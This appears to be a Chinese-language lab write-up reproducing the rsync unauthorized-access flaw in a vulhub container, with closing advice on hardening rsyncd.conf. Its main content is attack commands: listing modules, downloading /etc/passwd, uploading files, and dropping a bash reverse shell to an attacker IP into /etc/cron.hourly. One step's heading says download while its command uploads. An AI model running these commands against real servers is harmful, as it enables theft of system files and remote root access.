rsync未授权访问漏洞复现

rsync未授权访问漏洞简介

rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口。由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件。

rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。

rsync未授权访问漏洞复现

漏洞环境搭建

cd vulhub-master/rsync/common
docker-compose up -d 

漏洞复现

rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他工具对目标服务器进行端口扫描,当检测到目标服务器开放873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件,rsync未授权访问漏洞的检测就是如此简单。

1、nmap扫描目标系统是否开放rsync服务

nmap -p 873 192.168.0.113

2、使用如下两条命令之一,列出目标服务器的同步目录

rsync 192.168.0.113::
rsync rsync://192.168.0.113:873
//rsync ip::
//rsync rsync://ip:873

3、查看模块文件

获取到目录之后,只需在路径后添加目录名即可查看目录中的文件

rsync 192.168.0.113::src


4、下载任意目录文件

rsync -av 192.168.0.113::src/etc/passwd ./
//rsync -av ip::src/路径

5、向目标系统上传任意文件

rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
//rsync -av 文件路径 rsync://ip:873/目标系统文件路径


rsync未授权访问漏洞扫描探测

1、namp

nmap -p 873 --script rsync-list-modules 192.168.2.102


2、metasploit

rsync未授权访问漏洞反弹shell

1、下载cron定时任务配置文件并且查看任务内容

rsync -av shell rsync://192.168.2.102:873/src/etc/cron.hourly
//17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
//表示17分钟会启动/etc/cron.hourly目录下文件的任务


2、创建shell文件,写入反弹shell命令

touch shell
//文件写入反弹shell命令
!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.2.101/8888 0>&1

3、传入/etc/cron.hourly目录下

rsync -av shell rsync://192.168.2.102:873/src/etc/cron.hourly

4、监听8888端口,等待17分钟之后,接收反弹shell

nc -lvp 8888

rsync未授权访问漏洞攻击流量分析


rsync未授权访问漏洞修复

更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。
详情可参考官方doc:https://rsync.samba.org/ftp/rsync/rsyncd.conf.html

参考链接

freebuf-每日漏洞 | rsync未授权访问
Tide安全团队-rsync未授权访问漏洞利用复现

声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

原文地址:https://www.cnblogs.com/renhaoblog/p/13279101.html